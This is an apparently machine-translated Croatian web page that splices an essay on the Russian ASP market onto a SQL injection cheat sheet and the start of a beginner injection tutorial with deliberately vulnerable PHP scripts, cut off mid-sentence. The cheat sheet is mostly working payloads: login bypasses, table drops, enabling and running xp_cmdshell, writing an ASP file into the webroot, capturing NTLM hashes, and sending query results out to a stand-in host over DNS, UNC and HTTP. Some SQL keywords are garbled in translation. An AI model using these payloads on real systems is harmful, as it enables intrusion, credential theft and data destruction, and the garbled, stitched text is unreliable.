Programiranje kontrole prijave. Kako možete daljinski izvršavati naredbe pomoću SQL injekcije

Trenutačno se ne može reći da se u Rusiji formiralo punopravno ASP tržište. Ruski korisnici, većinom, još uvijek ne doživljavaju ASP koncept korisnim za svoje poslovanje. Trenutno (u trenutku pisanja ovog članka) rusko tržište Ne postoji niti jedan uspješan primjer pune implementacije ASP modela u velikom poduzeću. Zapravo, postoji samo hosting, pojedinačni implementirani elementi ASP modela, tvrtke koje se žele baviti ASP poslovanjem itd. Odnosno, u Rusiji još nema implementacije klasičnog ASP modela.

Sada je na ruskom tržištu ASP model primjenjiv samo na personalizirane usluge e-pošte (Mail.ru, Beep.ru, Freemail.ru, itd.) i specijalizirane visokotehnološke usluge (na primjer, banner i tražilice, sustavi internetske statistike , itd.). Pritom najam usluge pošte ne znači samo osigurati osobni poštanski sandučić svakom pojedinom korisniku. Besplatne poslužitelje e-pošte naširoko koriste mala poduzeća i privatni poduzetnici u korporativnom sektoru. Glavni klijenti takvih usluga su tvrtke koje žele organizirati korporativnu uslugu e-pošte (ili automatizirati korporativni protok dokumenata) ili pružatelji internetskih usluga (na primjer, portali Rambler.ru, Yandex.ru itd.) koji žele organizirati besplatnu uslugu web-pošte za svoju publiku.

Među ruskim korisnicima postoji određeni interes za iznajmljivanje elektroničkih trgovina (vitrina na elektroničkoj trgovačkoj platformi). I to je sasvim razumljivo. Budući da u Rusiji još uvijek postoji vrlo, vrlo malo uspješnih primjera online trgovine (unatoč glasnim izjavama niza tvrtki o njihovim impresivnim postignućima), čini se najrazumnijim potrošiti red veličine manje novca na iznajmljivanje elektroničke trgovine (od kupnja i održavanje). Ako projekt propadne, može se zatvoriti vrlo brzo i bez značajnijih gubitaka. Iznajmljivanje ERP aplikacija, koje je rašireno na Zapadu, sada je u Rusiji samo u fazi pilot projekata.

Aplikacije koje se nude za najam uključuju kako relativno jednostavne uredske pakete (kao što je MS Office) tako i složenije aplikacije (kao što je Lotus Smart Suite), kao i ERP sustave (kao što je Navision Axapta).

Glavni problemi i značajke ruskog ASP tržišta.

10.2 Problemi na ruskom tržištu.

Trenutačno rusko ASP tržište zaostaje za svjetskim ASP tržištem najmanje nekoliko godina. Začetno stanje ruskog ASP tržišta uzrokovano je brojnim problemima koji na njemu postoje. Glavni od ovih problema su:

1. Opće zaostajanje ruskog gospodarstva od zapadnog i nerazvijenost tehničke infrastrukture poduzeća. Do sada većina ruskih poduzeća radi na tehničkoj infrastrukturi stvorenoj prije nekoliko desetljeća. Trenutno su ulaganja poduzeća u njegovu modernizaciju još uvijek nedostatna. I ovdje su problem prije financijski prioriteti poduzeća, jer ne mogu svi uložiti potrebna sredstva u modernizaciju tehničke infrastrukture. Stoga svoje trenutne probleme moraju rješavati koristeći postojeću infrastrukturu.

2. Niska potražnja za ASP uslugama. Stanovništvo i korporativni klijenti nisu spremni (većinom) platiti ASP usluge. Dok prosječni ruski potrošač sada jednostavno ima hitnije i vitalnije prioritete potrošnje, korporativni korisnici još ne shvaćaju ASP usluge ozbiljno.

3. Slabost zakonodavnog okvira za elektroničko tržište. Dok se ne usvoji cijeli paket zakona, o razvoju elektroničkog tržišta (uključujući i ASP) ne treba govoriti.

4. Zatvorenost financijskog izvještavanja korporativnih klijenata (osobito najlikvidnijih poduzeća).

5. Otpor IT odjela (eksplicitan i implicitan) velikih tvrtki, koji se moraju preusmjeriti na druge zadatke, smanjiti zaposlenike i IT proračune itd.

6. Mali broj aplikacija koje se mogu koristiti u ASP modelu za ruska poduzeća.

7. Prisutnost na ruskom tržištu rada prilično velikog broja IT stručnjaka početne i srednje razine s relativno niskim plaćama. Nakon krize 1998. velika većina plaća informatičara ostala je na istoj razini nakon krize. Malim i srednjim tvrtkama ponekad je jeftinije održavati vlastite informatičke usluge nego plaćati ASP usluge (za razliku od zapadnih tvrtki, gdje je situacija upravo suprotna).

SQL injection cheat sheet kreiran za sažeti opis tehničke karakteristike različite vrste Ranjivosti SQL injekcije. Članak predstavlja značajke SQL injekcija u MySQL, Microsoft SQL poslužitelj, PROROČIŠTE I PostgreSQL.

0. Uvod
U ovom članku možete pronaći detalje tehničke informacije o različitim vrstama SQL injekcija. Može biti koristan i iskusnim stručnjacima i početnicima u području informacijske sigurnosti.

U ovom trenutku dopis sadrži informacije samo za MySQL, Microsoft SQL poslužitelj i neke podatke za ORACLE i PostgreSQL. Odjeljci sadrže sintaksu ubrizgavanja, objašnjenja i primjere.

Korišteni simboli:
M (MySQL);
S (SQL poslužitelj);
O (Proročište);
P (PostgreSQL);
+ (eventualno na drugim bazama);
* (potrebni su posebni uvjeti).

1. Linijski komentari
Komentari su općenito korisni za ignoriranje dijela upita.
Sintaksa:
-- (SM): DROP tablica uzoraka;--
# (M): DROP tablica uzoraka;#
Primjer:
Korisničko ime: admin" --
Generirani upit: SELECT * FROM members WHERE korisničko ime = "admin"--" AND password = "password"
To će vam omogućiti da se prijavite kao admin korisnik, zaobilazeći provjeru lozinke.

2. Blokirajte komentare
Uz njihovu pomoć možete zanemariti dio zahtjeva, zamijeniti razmake, zaobići crne liste i odrediti verziju baze podataka.
Sintaksa:
/*Komentar*/ (SM):
DROP/*komentar*/uzorak
DR/**/OP/*zaobilazna_crna lista*/uzorak
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM naziv tablice
Ovo je posebna sintaksa komentara za MySQL. Omogućuje vam otkrivanje MySQL verzije. Ovaj komentar će raditi samo u MySQL-u
Primjeri:
ID: 10; DROP TABLE članovi /*
Ignoriramo ostatak zahtjeva, baš kao i komentar retka.

ID: /*!32302 10*/
dobit ćete isti odgovor kao s ID=10 ako je MySQL verzija viša od 3.23.02

ID: /*!32302 1/0, */
Generirani upit: SELECT /*!32302 1/0, */ 1 FROM naziv tablice
Pogreška dijeljenja s 0 dogodit će se ako poslužitelj ima MySQL verziju višu od 3.23.02

3. Redoslijed zahtjeva
Omogućuje pokretanje više od jednog zahtjeva istovremeno. Ovo je korisno u bilo kojem trenutku ubrizgavanja.


Zeleno - podržano; crna - nije podržano; siva - nepoznata.
Sintaksa:
; (S): SELECT * FROM članova; DROP članovi--
Jedan zahtjev je završio, sljedeći je počeo.
Primjer:
ID: 10; ISPUSTITE članove --
Generirani upit: SELECT * FROM products WHERE id = 10; DROP članovi--
Ovaj će upit ispustiti tablicu članova nakon normalnog upita.

4. Uvjetne izjave
Odgovor na zahtjev ćemo dobiti ako je uvjet ispunjen. Ovo je jedna od ključnih točaka slijepog ubrizgavanja. Također pomaže u preciznoj provjeri jednostavnih stvari.
Sintaksa:
IF(uvjet, istiniti dio, lažni dio) (M): SELECT IF(1=1,"točno","netočno")
IF uvjet true-dio ELSE false-dio (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF uvjet THEN true-dio; ILSE lažni dio; ZAVRŠI AKO; KRAJ; (O): IF (1=1) THEN dbms_lock.sleep(3); INAČE dbms_lock.sleep(0); ZAVRŠI AKO; KRAJ;
SELECT CASE WHEN uvjet THEN istiniti dio ELSE lažni dio END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
primjer:
if ((odaberite korisnika) = "sa" ILI (odaberite korisnika) = "dbo") odaberite 1 inače odaberite 1/0 (S)
izbacit će pogrešku dijeljenja s nulom ako trenutni korisnik ne "sa" ili "dbo".

5. Korištenje brojeva
Koristi se za zaobilaženje magic_quotes() i sličnih filtara, uključujući WAF.
Sintaksa:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (ovo nije broj, već niz) (M)
SELECT 0x50 + 0x45 (sada je ovo broj) (M)
Primjeri:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Prikazuje sadržaj datoteke c:\boot.ini

6. Ulančavanje nizova
Operacije nizova mogu pomoći zaobići filtre ili identificirati bazu podataka.
Sintaksa:
+ (S): ODABERITE prijavu + "-" + lozinku OD članova
|| (*MO): ODABERITE prijavu || "-" || lozinka OD članova
Radit će ako MySQL radi u ANSI modu. Inače ga MySQL neće prihvatiti kao logički operator i vratit će 0. Bolje je koristiti funkciju CONCAT() u MySQL-u.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(prijava, lozinka) FROM članova

7. Nizovi bez navodnika
Postoji nekoliko načina da se izbjegne korištenje navodnika u upitu, kao što je korištenje CHAR() (MS) i CONCAT() (M).
Sintaksa:
SELECT 0x457578 (M)

MySQL ima jednostavan način za predstavljanje niza kao heksadecimalni kod:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Vraća niz "KLM":
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
ODABIR CHR(75)||CHR(76)||CHR(77) (O)
ODABIR (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Pretvaranje nizova i brojeva.
Sintaksa:
ASCII() (SMP): SELECT ASCII("a")
Vraća ASCII kod krajnjeg lijevog znaka. Funkcija se koristi za slijepe injekcije.

CHAR() (SM): SELECT CHAR(64)
Prevodi ASCII kod u odgovarajući znak.

9. Operator UNION
S operatorom UNION možete postaviti upit o presjeku tablica. U osnovi, možete poslati upit koji vraća vrijednost iz druge tablice.
Primjer:
SELECT zaglavlje, txt FROM vijesti UNION ALL SELECT ime, proslijedite FROM članovi
Ovo će spojiti rezultate iz tablica vijesti i članova

10. Premosnica provjere autentičnosti (SMO+)
Primjeri:
admin" --
admin" #
admin"/*
"ili 1=1--
" ili 1=1#
" ili 1=1/*
") ili "1"="1--
") ili ("1"="1--

11. Zaobići MD5 autentifikaciju
Ako aplikacija prvo usporedi korisničko ime, a zatim usporedi md5 hash lozinke, tada će vam trebati dodatni trikovi za zaobilaženje autentifikacije. Možete kombinirati rezultate s poznatom lozinkom i njezinim hashom.
Primjer (MSP):
Korisničko ime: admin
Lozinka: 1234 " I 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Na temelju pogreške
12.1 Definiranje stupaca pomoću HAVING BY(S)
Primjer:
Istim redom
" IMATI 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Nastavite dok ne prestanu dobivati ​​pogreške.

12.2 Određivanje broja stupaca pomoću ORDER BY (MSO+)
Pronalaženje broja stupaca pomoću ORDER BY može se ubrzati pomoću UNION ubrizgavanja.
REDAJ PREMA 1--
NARUČI OD 2--
NARUDŽI OD 3-
………………..
Nastavite dok ne primite poruku o pogrešci. Ovo će pokazati broj stupaca.

13. Definicija tipa podataka
Uvijek koristite UNION sa ALL.
Da biste se riješili nepotrebnog unosa u tablici, upotrijebite -1 na svim nepostojećim vrijednostima na početku upita (ako je ubrizgavanje u parametar WHERE). Ovo je važno ako možete dohvatiti samo jednu po jednu vrijednost.
Koristite NULL u UNION injekcijama umjesto da pokušavate pogoditi niz, datum, broj itd. Ali budite oprezni kada ubrizgavate naslijepo, jer... možda brkate pogrešku baze podataka sa samom aplikacijom. Neki jezici, kao što je ASP.NET, izbacuju pogrešku kada koriste NULL vrijednost (jer programeri nisu očekivali da će vidjeti null vrijednost u polju korisničkog imena)
Primjeri:
" unija odaberite sumu(columntofind) od korisnika-- (S) :
Ako ne primite poruku o pogrešci, stupac je numerički.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUll, NULL --
Možete koristiti CAST() ili CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Ako nema greške, sintaksa je ispravna, tj. Koristi se MS SQL Server.

11223344) UNIJA SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Ako nema greške, tada je prvi stupac broj.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Ako se pojavi pogreška, onda drugi stupac nije broj.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 ---
Ako nema greške, onda je drugi stupac niz.
……………..

14. Jednostavno umetanje (MSO+)
Primjer:
"; umetnite u korisničke vrijednosti (1, "hax0r", "coolpass", 9)/*

15. Prikupljanje informacija
Sintaksa:
@@verzija (MS)
Možete saznati verziju baze podataka i detaljnije informacije.
Primjer:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Složeni umetak (S)
Omogućuje umetanje sadržaja datoteke u tablicu. Ako ne znate interni put web aplikacije, možete pročitati IIS metabazu (samo IIS 6).
Sintaksa:
datoteka (%systemroot%\system32\inetsrv\MetaBase.xml)
Zatim u njemu možete pronaći staze aplikacije.
Primjer:
1. Napravite tablicu foo(tip niza varchar(8000))
2. Umetnite sadržaj datoteke 'c:\inetpub\wwwroot\login.asp' u tablicu foo
3. Ispustite privremenu tablicu i ponovite za drugu datoteku.

17. BCP (S)
Zapisuje tekstualna datoteka. Ovo zahtijeva vjerodajnice.
Primjer:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH u SQL Serveru (S)
Možete koristiti VBS, WSH skripte u SQL Serveru.
Primjer:
Korisničko ime:"; deklarirajte @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Izvršite sistemske naredbe (S)
Dobro poznati trik, značajka je onemogućena prema zadanim postavkama u SQL Serveru 2005. Potrebna su vam administratorska prava.
Primjer:
EXEC master.dbo.xp_cmdshell "cmd.exe direktorij c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Posebne tablice u SQL Serveru (S)
Primjeri:
Poruke o pogrešci: master..sysmessages
Povezani poslužitelji: master..sysservers
Lozinka SQL Server 2000: masters..sysxlogins
Lozinka SQL Server 2005: sys.sql_logins

21. Višestruke pohranjene procedure za SQL Server (S)
Sintaksa:
Cmd Izvrši (xp_cmdshell)
Stvari registra (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvrijednosti
xp_ponovno čitanje
xp_regremovemmultistring
xp_regwrite
Upravljanje uslugama (xp_servicecontrol)
Mediji (xp_availablemedia)
ODBC resursi (xp_enumdsn)
Način prijave (xp_loginconfig)
Stvaranje Cab datoteka (xp_makecab)
Nabrajanje domena (xp_ntsec_enumdomains)
Zatvaranje procesa (potreban je PID) (xp_terminate_process)
Dodavanje nove procedure (sp_addextendedproc)
Zapišite tekstualnu datoteku u UNC ili unutarnju stazu (sp_makewebtask)
Primjeri:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webposlužitelj

22. MSSQL skupne bilješke
Primjeri:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DEKLIRAJ @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injekcija u LIMIT (M) upitima
Primjer:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Da biste zaobišli operator LIMIT, možete koristiti UNION ili komentar.

24. Isključi SQL poslužitelj (S)
Primjer:
";ugasiti -

25. Omogućavanje xp_cmdshell u SQL Serveru 2005
Sintaksa:
Prema zadanim postavkama, xp_cmdshell i nekoliko drugih potencijalno opasnih značajki onemogućeni su u SQL Serveru 2005. Ako imate administratorska prava, možete ih omogućiti.
EXEC sp_configure "prikaži napredne opcije",1
REKONFIGURIRAJ
EXEC sp_configure "xp_cmdshell",1
REKONFIGURIRAJ

26. Traženje strukture baze podataka u SQL Serveru (S)
Primjeri:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Dobivanje naziva stupaca

27. Premještanje zapisa (S)
Primjeri:
... WHERE korisnici NIJE IN ("Prvi korisnik", "Drugi korisnik")
Koristite WHERE s NOT IN ili NOT EXIST

ODABERITE TOP 1 ime OD članova GDJE NE POSTOJI (ODABERITE TOP 0 imena OD članova)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, ime iz sysobjects o) kao p gdje p.x=3) kao int

Odaberite p.name iz (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" i i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Brz način ekstrahiranja podataka iz SQL ubacivanja na temelju pogreške u SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd u TMP_SYS_TMP kraj;--

29. Traženje strukture baze podataka u MySQL (M)
Primjeri:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Dobivanje prilagođenih tablica

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Dobivanje naziva stupaca

30. Traženje strukture baze podataka u Oracleu (O)
Primjeri:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Dobivanje prilagođenih tablica

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Dobivanje naziva stupaca

31. Slijepe injekcije
U kvalitetnoj aplikaciji nećete moći vidjeti poruke o pogreškama. Nećete moći koristiti operator UNION i napade temeljene na pogrešci. Morat ćete upotrijebiti slijepu SQL injekciju za izdvajanje podataka. Postoje dvije vrste slijepih injekcija.
Redovno slijepo ubacivanje: ne možete vidjeti rezultate zahtjeva na stranici, ali možete odrediti rezultat iz odgovora ili HTTP statusa.
Potpuno slijepo ubrizgavanje: Nećete vidjeti nikakvu razliku u izlazu.
U normalnim slijepim injekcijama možete koristiti izjave IF i WHERE, u potpuno slijepim injekcijama morate koristiti neke funkcije čekanja i usporediti vrijeme odgovora. Da biste to učinili, možete koristiti WAIT FOR DELAY '0:0:10' u SQL Serveru, BENCHMARK() i sleep(10) u MySQL-u, pg_sleep(10) u PostgreSQL-u.
Primjer:
Ovaj se primjer temelji na stvarnoj operaciji slijepog ubrizgavanja na SQL Serveru.

TRUE: SELECT ID, Korisničko ime, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Korisničko ime, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Na temelju posljednja dva upita točno znamo vrijednost prvog znaka u asciiju - ona je 80. To znači da je prvi znak `P`. Na taj način možemo saznati nazive tablica i njihov sadržaj. Drugi način je čitanje podataka bit po bit.

32. Potpuno slijepa injekcija
Koristite ovu metodu samo u slučaju istinski slijepog ubrizgavanja. Budite oprezni s vremenima čekanja.
Sintaksa:
PRIČEKAJ KAŠNJENJE "vrijeme" (S)
Funkcija jednostavno čeka određeno vrijeme bez opterećenja procesora.
Primjeri:
ako (odaberite korisnika) = "sa" čekaj kašnjenje "0:0:10"
ID proizvoda =1; čekaj odgodu "0:0:10"--
ID proizvoda =1); čekaj odgodu "0:0:10"--
ID proizvoda =1"; čekaj odgodu "0:0:10"--
ID proizvoda =1"); čekaj odgodu "0:0:10"--
ID proizvoda =1));pričekajte odgodu "0:0:10"--
ID proizvoda =1"));pričekajte odgodu "0:0:10"--
Sintaksa:
BENCHMARK (koliko puta, učini ovo) (M)
Primjer:
AKO POSTOJI (SELECT * FROM korisnici WHERE korisničko ime = "root") BENCHMARK(1000000000,MD5(1))
Provjeravamo prisutnost root korisnika.

IF (SELECT * FROM prijava) BENCHMARK(1000000,MD5(1))
Provjera postojanja tablice u MySQL-u
Sintaksa:
pg_sleep(sekunde) (P)
Spavanje za dostavljene sekunde.

spavanje (sekunde) (M)
spavati za dostavljene sekunde.

bms_pipe.receive_message (O)
spavati za dostavljene sekunde.
Primjer:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) KRAJ OD dualnog)
(INJEKCIJA) – vaš zahtjev.
Ako je uvjet istinit, odgovor će biti 10 sekundi. Inače će odgovor biti 1 sekunda.

33. Korisne MySQL značajke
Sintaksa:
MD5()
SHA1()
LOZINKA()
KODIRAJ()
OBLOG()
ROW_COUNT()
SHEMA()
VERZIJA()

34. SQL injekcije drugog reda
Obično biste umetnuli SQL upit za ubacivanje u polje i očekivali da neće biti filtriran.
Primjer:
Ime: " + (ODABERITE 1 TOP lozinku OD korisnika) + "
Email: [e-mail zaštićen]
Ako aplikacija koristi naziv polja pohranjene procedure ili funkcije, tada to možete koristiti za ubacivanje.

35. Korištenje SQL Servera za izdvajanje NTLM hashova
Ovaj napad će vam pomoći da dobijete Windows korisničku lozinku ciljanog poslužitelja putem SQL Servera ako nema pristupa izvana. Možemo prisiliti SQL Server da se poveže sa sustavom Windows putem UNC putanje i izdvoji NTLM sesiju pomoću posebnih alata kao što su Cain & Abel.

Sintaksa:
UNC put: "\\VAŠA ADRESA\C$\x.txt"
36. Drugi primjeri injekcija
SQL poslužitelj:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DEKLARIRAJ @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
stvara DNS upit za (INJECTION).yourhost.com

(INJEKCIJA) - Vaš zahtjev.
MySQL:
?vulnerableParam=-99 ILI (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")
Stvara NBNS/DNS zahtjev za yourhost.com
?vulnerableParam=-99 ILI (SELECT ((INJECTION)) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Zapisuje podatke u vašu datoteku
(INJEKCIJA) - vaš zahtjev.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Njuškalo će spremiti rezultate
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Rezultati će biti spremljeni u HTTP zapisnike
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") FROM DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FROM DUAL)
Morate analizirati promet DNS zahtjeva prema yourhost.com
(INJEKCIJA) - vaš zahtjev.

Ovaj materijal je adaptivni prijevod članka SQL Injection Cheat Sheet.

Pozdrav čitatelju. U zadnje vrijeme me zanima web sigurnost i donekle je moj rad vezan uz to. Jer Sve češće sam počeo primjećivati ​​teme na raznim forumima u kojima se tražilo da pokažu kako to sve radi, pa sam odlučio napisati članak. Članak će biti namijenjen onima koji se s tim nisu susreli, ali bi htjeli naučiti. Na internetu postoji relativno mnogo članaka o ovoj temi, ali za početnike su malo komplicirani. Pokušat ću sve opisati jasnim jezikom i detaljnim primjerima.

Predgovor

Da biste razumjeli ovaj članak, zapravo vam nije potrebno znanje SQL jezika, ali barem dobro strpljenje i malo mozga za pamćenje.

Vjerujem da samo čitanje članka neće biti dovoljno, jer... potrebni su nam živi primjeri - kao što znate, praksa u procesu pamćenja nikada nije suvišna. Stoga ćemo napisati ranjive skripte i trenirati na njima.

Što je SQL injekcija?
Jednostavno rečeno, ovo je napad na bazu podataka, koji će vam omogućiti da izvršite neku radnju koju kreator skripte nije planirao. Primjer iz života:

Otac je u poruci majci napisao da Vasji da 100 rubalja i stavi na stol. Prerađujući ovo u komični SQL jezik, dobivamo:
UZMI 100 RUBLJA IZ NOVČANIKA I DAJ IH Vasji

Budući da je otac loše napisao bilješku (nespretan rukopis) i ostavio je na stolu, vidio ju je Vasjin brat Petja. Petya, budući da je haker, tu je dodao "ILI Pete" i rezultat je bio sljedeći zahtjev:
UZMITE 100 RUBLJA IZ NOVČANIKA I DAJTE IH Vasji ILI Petji

Mama je, nakon što je pročitala poruku, odlučila da je jučer dala novac Vasji i dala 100 rubalja Petji. Evo jednostavnog primjera ubacivanja SQL-a iz life:) Bez filtriranja podataka (mama je jedva razumjela rukopis), Petya je zaradila.

Priprema
Za vježbu će vam trebati arhiva s izvornim skriptama za ovaj članak. Preuzmite ga i raspakirajte na poslužitelju. Također uvezite bazu podataka i postavite podatke u datoteku cfg.php

Search SQL injection

Kao što ste već shvatili, ubrizgavanje dolazi od dolaznih podataka koji nisu filtrirani. Najčešća pogreška je nefiltriranje poslanog ID-a. Pa, grubo rečeno, stavite navodnike u sva polja. Bio to GET/POST zahtjev ili čak kolačić!

Numerički ulazni parametar
Za vježbu nam treba skripta indeks1.php. Kao što sam rekao gore, u ID vijesti umećemo navodnike.

Jer Naš zahtjev nema filtriranje:

$id = $_GET["id"]; $query = "SELECT * FROM vijesti WHERE id=$id";

Scenarij će to shvatiti kao

SELECT * FROM vijesti WHERE id=1"

I javit će nam grešku:
Upozorenje: mysql_fetch_array() očekuje da parametar 1 bude resurs, booleov dat u C:\WebServ\domains\sqlinj\index1.php na retku 16

Ako se pogreška ne pojavi, mogući su sljedeći razlozi:

1.SQL injection nije ovdje - navodnici se filtriraju ili se jednostavno isplati pretvoriti u njega (int)
2. Ispis pogreške je onemogućen.

Ako i dalje dobivate pogrešku - Hura! Pronašli smo prvu vrstu SQL injekcije - numerički ulazni parametar.

Parametar unosa niza

Poslat ćemo zahtjeve na indeks2.php. U ovoj datoteci zahtjev izgleda ovako:
$korisnik = $_GET["korisnik"]; $upit = "SELECT * FROM vijesti WHERE korisnik="$user"";

Ovdje biramo vijesti prema korisničkom imenu, i opet ne filtriramo.
Ponovno šaljemo upit s ponudom:

Dalo je pogrešku. U REDU! To znači da postoji ranjivost. Za početak, dosta nam je – krenimo na vježbu.

Krenimo u akciju

Malo teorije

Vjerojatno jedva čekate da iz ovoga izvučete nešto osim grešaka. Prvo, shvatite da znak " -- " smatra se komentarom u SQL-u.

PAŽNJA! Prije i iza njega moraju postojati razmaci. U URL-u se prenose kao %20

Sve što dolazi iza komentara bit će odbačeno, odnosno zahtjev:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Uspjet će. Ovo možete isprobati na skripti index2.php slanjem zahtjeva poput ovog:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučite parametar UNIJA. U SQL jeziku ključna riječ UNIJA koristi se za kombiniranje rezultata dvaju SQL upita u jednu tablicu. Odnosno, kako bismo izvukli nešto što nam treba s drugog stola.

Iskoristimo to

Ako je parametar “Numeric”, tada ne trebamo slati ponudu u zahtjevu i naravno staviti komentar na kraju. Vratimo se scenariju indeks1.php.

Okrenimo se skripti sqlinj/index1.php?id=1 UNION SELECT 1 . Naš upit baze podataka izgleda ovako:
SELECT * FROM vijesti WHERE id=1 UNION SELECT 1
I dao nam je grešku, jer... za rad s upitima spajanja potreban nam je isti broj polja.

Jer Ne možemo utjecati na njihov broj u prvom zahtjevu, onda moramo odabrati njihov broj u drugom tako da bude jednak prvom.

Odabir broja polja

Odabir polja je vrlo jednostavan, samo pošaljite sljedeće zahtjeve:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Greška...
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opet greška!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nema greške! To znači da je broj stupaca 5.

GRUPIRAJ PO
Često se događa da polja može biti 20, 40 ili čak 60. Kako ih ne bismo morali svaki put sortirati, koristimo GRUPIRAJ PO

Ako zahtjev
